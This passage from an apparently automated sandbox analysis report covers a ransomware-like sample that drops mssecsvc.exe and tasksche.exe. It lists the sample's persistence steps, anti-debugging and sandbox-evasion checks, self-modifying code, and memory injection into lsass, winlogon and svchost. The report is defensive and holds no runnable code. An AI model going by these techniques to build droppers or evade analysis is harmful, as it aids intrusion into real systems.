              Source: C:\Windows\tasksche.exeCode function: 31_2_00407710 push eax; ret 31_2_0040773E
              Source: C:\Windows\tasksche.exeCode function: 31_2_004076C8 push eax; ret 31_2_004076E6
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_7FEA3D36
              Source: initial sampleStatic PE information: section where entry point is pointing to: .rsrc

              Persistence and Installation Behavior

              barindex
              Drops executables to the windows directory (C:\Windows) and starts them
              Source: C:\Windows\mssecsvc.exeExecutable created and started: C:\WINDOWS\tasksche.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeExecutable created and started: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\tasksche.exeCode function: 31_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,31_2_00401CE8
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Found evasive API chain (may execute only at specific dates)
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodes,Sleepgraph_4-4437
              Tries to evade debugger and weak emulator (self modifying code)
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A7190F instructions caused by: Self-modifying code
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A6B1E4 instructions caused by: Self-modifying code
              Contains functionality to detect sleep reduction / modifications
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA41784_2_7FEA4178
              Source: C:\Windows\System32\svchost.exe TID: 6376Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_4-4437
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF0 rdtsc 4_2_7FEA3CF0
              Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
              Source: C:\Windows\mssecsvc.exeAPI coverage: 1.3 %
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA41784_2_7FEA4178
              Source: C:\Windows\mssecsvc.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\System32\loaddll32.exeThread delayed: delay time: 120000Jump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\System32\TileDataRepository.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\system32\Windows.StateRepository.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\SYSTEM32\usermgrcli.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\System32\Windows.StateRepositoryPS.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\system32\StateRepository.Core.dllJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile opened: C:\Windows\System32\usermgrproxy.dllJump to behavior
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicvss
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicheartbeat
              Source: svchost.exe, 00000022.00000000.370695914.00000247D2555000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 636 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any inbound traffic for vmicvss
              Source: mssecsvc.exeBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~3
              Source: mssecsvc.exe, 00000004.00000000.258478621.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000002.552652986.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.266159981.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000002.356435159.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: svchost.exe, 00000022.00000002.808802305.00000247D390E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeatLMEM`
              Source: svchost.exe, 00000015.00000000.296342060.0000021C08828000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.298304595.0000021C08828000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.786558397.0000021C08828000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.667978543.0000011CACC5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.666381924.0000011CA7429000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: dwm.exe, 0000001A.00000002.800641184.000002C6305D0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ng-MPSS$@vmicheartbeat-allow-in-1nOnly
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicvss
              Source: svchost.exe, 00000022.00000000.370695914.00000247D2555000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicheartbeat
              Source: svchost.exe, 00000024.00000000.383116972.000002418A629000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000_0r
              Source: mssecsvc.exe, 00000004.00000000.258478621.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000002.552652986.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.266159981.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000002.356435159.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: W$N.@vmicheartbeat-block-out
              Source: svchost.exe, 00000010.00000002.800456253.0000025CB586C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicshutdown
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Block any other inbound traffic for vmicheartbeat
              Source: svchost.exe, 00000010.00000002.796469027.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicvss
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicshutdown
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicshutdown-block-out
              Source: svchost.exe, 00000028.00000000.411142394.0000024ADF743000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@vmicheartbeat-block-in
              Source: svchost.exe, 00000019.00000000.303376211.000001B8BFC49000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat-allow-out
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Allow inbound TCP port 389 traffic for vmicheartbeat
              Source: svchost.exe, 00000010.00000002.800456253.0000025CB586C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicvss-block-in
              Source: lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat
              Source: svchost.exe, 00000022.00000000.371681944.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Allow outbound TCP traffic for vmicheartbeat
              Source: svchost.exe, 00000022.00000000.370695914.00000247D2555000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 636 traffic for vmicheartbeateLMEMp@Ob
              Source: dwm.exe, 0000001A.00000002.800641184.000002C6305D0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000Y
              Source: svchost.exe, 00000010.00000002.796469027.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicshutdown
              Source: svchost.exe, 00000022.00000000.371681944.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Block any inbound traffic for vmicshutdown
              Source: svchost.exe, 00000028.00000000.402397804.0000024ADF000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMwareVirtual disk2.0NULLSCSI0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\4&2509f6e&0&00A8
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicvss
              Source: lsass.exe, 0000000A.00000000.270197484.00000240B2613000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.784576138.00000240B2613000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279229226.00000240B2613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.783114859.000002270EE28000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.786001365.000001F93BC67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.784121986.000002588F229000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.783683753.000002C301E2D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000000.366161586.000002C301E2D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.788928114.00000247D1CB5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000000.369697786.00000247D1CB5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000000.383199098.000002418A63F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicvss-block-out
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicshutdown-block-in
              Source: svchost.exe, 0000001D.00000002.667978543.0000011CACC5E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "@Hyper-V RAW
              Source: svchost.exe, 00000022.00000002.808802305.00000247D390E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeatLMEM`\b
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat-allow-in-2
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Allow inbound TCP port 636 traffic for vmicheartbeat
              Source: svchost.exe, 00000010.00000002.796469027.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicheartbeat
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat
              Source: svchost.exe, 00000028.00000000.400015571.0000024ADE443000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.786040277.0000024ADE443000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $Microsoft-Windows-Hyper-V-Hypervisor
              Source: svchost.exe, 00000011.00000002.781694826.000002270EE02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
              Source: svchost.exe, 00000028.00000000.400015571.0000024ADE443000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.786040277.0000024ADE443000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@Microsoft-Windows-Hyper-V-Hypervisor
              Source: lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
              Source: mssecsvc.exeBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Driver
              Source: svchost.exe, 00000022.00000000.370695914.00000247D2555000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000022.00000000.371727630.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Block any other outbound traffic for vmicheartbeat
              Source: lsass.exe, 0000000A.00000000.270527198.00000240B2669000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.787374406.00000240B2669000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279546960.00000240B2669000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V Adm B
              Source: svchost.exe, 00000028.00000000.411142394.0000024ADF743000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: nonicVMware Virtual disk 2.0 NULL
              Source: svchost.exe, 00000010.00000002.796469027.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicheartbeat
              Source: svchost.exe, 00000022.00000000.371681944.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Block any outbound traffic for vmicshutdown
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_7FEA3D36
              Source: C:\Windows\tasksche.exeCode function: 31_2_004029CC free,GetProcessHeap,HeapFree,31_2_004029CC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF0 rdtsc 4_2_7FEA3CF0
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 mov eax, dword ptr fs:[00000030h]4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA025E mov edx, dword ptr fs:[00000030h]4_2_7FEA025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D mov eax, dword ptr fs:[00000030h]4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeProcess queried: DebugPortJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Maps a DLL or memory area into another process
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\xnotVt target: unknown protection: execute and read and writeJump to behavior
